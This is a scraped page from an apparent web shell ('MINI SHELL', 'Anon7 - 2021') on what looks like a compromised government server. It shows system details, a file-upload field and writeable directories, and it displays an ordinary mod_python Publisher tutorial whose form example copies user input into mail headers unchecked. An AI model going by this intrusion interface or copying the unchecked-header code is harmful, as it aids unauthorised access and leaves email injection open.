MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/manual/mod/mod_python/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/manual/mod/mod_python/tut-pub.html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<link rel="STYLESHEET" href="modpython.css" type='text/css'>
<link rel="first" href="modpython.html" title='Mod_python Manual'>
<link rel='contents' href='contents.html' title="Contents">
<link rel='index' href='genindex.html' title='Index'>
<link rel='last' href='about.html' title='About this document...'>
<link rel='help' href='about.html' title='About this document...'>
<LINK REL="next" href="tut-overview.html">
<LINK REL="prev" href="tutorial.html">
<LINK REL="parent" href="tutorial.html">
<LINK REL="next" href="tut-overview.html">
<meta name='aesop' content='information'>
<META NAME="description" CONTENT="A Quick Start with the Publisher Handler">
<META NAME="keywords" CONTENT="modpython">
<META NAME="resource-type" CONTENT="document">
<META NAME="distribution" CONTENT="global">
<title>3.1 A Quick Start with the Publisher Handler</title>
</head>
<body>
<DIV CLASS="navigation">
<table align="center" width="100%" cellpadding="0" cellspacing="2">
<tr>
<td><a rel="prev" title="3. Tutorial" 
  href="tutorial.html"><img src='previous.gif'
  border='0' height='32'  alt='Previous Page' width='32'></A></td>
<td><a rel="parent" title="3. Tutorial" 
  href="tutorial.html"><img src='up.gif'
  border='0' height='32'  alt='Up One Level' width='32'></A></td>
<td><a rel="next" title="3.2 Quick Overview of" 
  href="tut-overview.html"><img src='next.gif'
  border='0' height='32'  alt='Next Page' width='32'></A></td>
<td align="center" width="100%">Mod_python Manual</td>
<td><a rel="contents" title="Table of Contents" 
  href="contents.html"><img src='contents.gif'
  border='0' height='32'  alt='Contents' width='32'></A></td>
<td><img src='blank.gif'
  border='0' height='32'  alt='' width='32'></td>
<td><a rel="index" title="Index" 
  href="genindex.html"><img src='index.gif'
  border='0' height='32'  alt='Index' width='32'></A></td>
</tr></table>
<b class="navlabel">Previous:</b>
<a class="sectref" rel="prev" href="tutorial.html">3. Tutorial</A>
<b class="navlabel">Up:</b>
<a class="sectref" rel="parent" href="tutorial.html">3. Tutorial</A>
<b class="navlabel">Next:</b>
<a class="sectref" rel="next" href="tut-overview.html">3.2 Quick Overview of</A>
<br><hr>
</DIV>
<!--End of Navigation Panel-->

<H1><A NAME="SECTION005100000000000000000">&nbsp;</A>
<BR>
3.1 A Quick Start with the Publisher Handler
</H1>

<P>
This section provides a quick overview of the Publisher handler for
those who would like to get started without getting into too much
detail. A more thorough explanation of how mod_python handlers work
and what a handler actually is follows on in the later sections of the
tutorial.

<P>
The <code>publisher</code> handler is provided as one of the standard
mod_python handlers. To get the publisher handler working, you will
need the following lines in your config:

<P>
<div class="verbatim"><pre>
  AddHandler mod_python .py
  PythonHandler mod_python.publisher
  PythonDebug On
</pre></div>

<P>
The following example will demonstrate a simple feedback form. The
form will ask for the name, e-mail address and a comment and construct
an e-mail to the webmaster using the information submitted by the
user. This simple application consists of two files:
<span class="file">form.html</span> - the form to collect the data, and
<span class="file">form.py</span> - the target of the form's action.

<P>
Here is the html for the form:

<P>
<div class="verbatim"><pre>
  &lt;html&gt;
      Please provide feedback below:
  &lt;p&gt;                           
  &lt;form action="form.py/email" method="POST"&gt;

      Name:    &lt;input type="text" name="name"&gt;&lt;br&gt;
      Email:   &lt;input type="text" name="email"&gt;&lt;br&gt;
      Comment: &lt;textarea name="comment" rows=4 cols=20&gt;&lt;/textarea&gt;&lt;br&gt;
      &lt;input type="submit"&gt;

  &lt;/form&gt;
  &lt;/html&gt;
</pre></div>

<P>
Note the <code>action</code> element of the <code>&lt;form&gt;</code> tag points to
<code>form.py/email</code>. We are going to create a file called
<span class="file">form.py</span>, like this:

<P>
<div class="verbatim"><pre>
import smtplib

WEBMASTER = "webmaster"   # webmaster e-mail
SMTP_SERVER = "localhost" # your SMTP server

def email(req, name, email, comment):

    # make sure the user provided all the parameters
    if not (name and email and comment):
        return "A required parameter is missing, \
               please go back and correct the error"

    # create the message text
    msg = """\
From: %s                                                                                                                                           
Subject: feedback
To: %s

I have the following comment:

%s

Thank You,

%s

""" % (email, WEBMASTER, comment, name)

    # send it out
    conn = smtplib.SMTP(SMTP_SERVER)
    conn.sendmail(email, [WEBMASTER], msg)
    conn.quit()

    # provide feedback to the user
    s = """\
&lt;html&gt;

Dear %s,&lt;br&gt;                                                                                                                                       
Thank You for your kind comments, we
will get back to you shortly.

&lt;/html&gt;""" % name

    return s
</pre></div>

<P>
When the user clicks the Submit button, the publisher handler will
load the <tt class="function">email</tt> function in the <tt class="module">form</tt> module,
passing it the form fields as keyword arguments. It will also pass the
request object as <code>req</code>.

<P>
Note that you do not have to have <code>req</code> as one of the arguments
if you do not need it. The publisher handler is smart enough to pass
your function only those arguments that it will accept.

<P>
The data is sent back to the browser via the return value of the
function.

<P>
Even though the Publisher handler simplifies mod_python programming a
great deal, all the power of mod_python is still available to this
program, since it has access to the request object. You can do all the
same things you can do with a ``native'' mod_python handler, e.g. set
custom headers via <code>req.headers_out</code>, return errors by raising
<tt class="exception">apache.SERVER_ERROR</tt> exceptions, write or read directly to
and from the client via <tt class="method">req.write()</tt> and <tt class="method">req.read()</tt>,
etc.

<P>
Read Section <A href="hand-pub.html#hand-pub">6.1</A> <em class="citetitle"><a
 href="hand-pub.html"
 title="Publisher Handler"
 >Publisher Handler</a></em>
for more information on the publisher handler. 

<P>

<DIV CLASS="navigation">
<p><hr>
<table align="center" width="100%" cellpadding="0" cellspacing="2">
<tr>
<td><a rel="prev" title="3. Tutorial" 
  rel="prev" title="3. Tutorial" 
  href="tutorial.html"><img src='previous.gif'
  border='0' height='32'  alt='Previous Page' width='32'></A></td>
<td><a rel="parent" title="3. Tutorial" 
  rel="parent" title="3. Tutorial" 
  href="tutorial.html"><img src='up.gif'
  border='0' height='32'  alt='Up One Level' width='32'></A></td>
<td><a rel="next" title="3.2 Quick Overview of" 
  rel="next" title="3.2 Quick Overview of" 
  href="tut-overview.html"><img src='next.gif'
  border='0' height='32'  alt='Next Page' width='32'></A></td>
<td align="center" width="100%">Mod_python Manual</td>
<td><a rel="contents" title="Table of Contents" 
  rel="contents" title="Table of Contents" 
  href="contents.html"><img src='contents.gif'
  border='0' height='32'  alt='Contents' width='32'></A></td>
<td><img src='blank.gif'
  border='0' height='32'  alt='' width='32'></td>
<td><a rel="index" title="Index" 
  rel="index" title="Index" 
  href="genindex.html"><img src='index.gif'
  border='0' height='32'  alt='Index' width='32'></A></td>
</tr></table>
<b class="navlabel">Previous:</b>
<a class="sectref" rel="prev" href="tutorial.html">3. Tutorial</A>
<b class="navlabel">Up:</b>
<a class="sectref" rel="parent" href="tutorial.html">3. Tutorial</A>
<b class="navlabel">Next:</b>
<a class="sectref" rel="next" href="tut-overview.html">3.2 Quick Overview of</A>
<hr>
<span class="release-info">Release 3.2.8, documentation updated on February 19, 2006.</span>
</DIV>
<!--End of Navigation Panel-->

</BODY>
</HTML>

Anon7 - 2021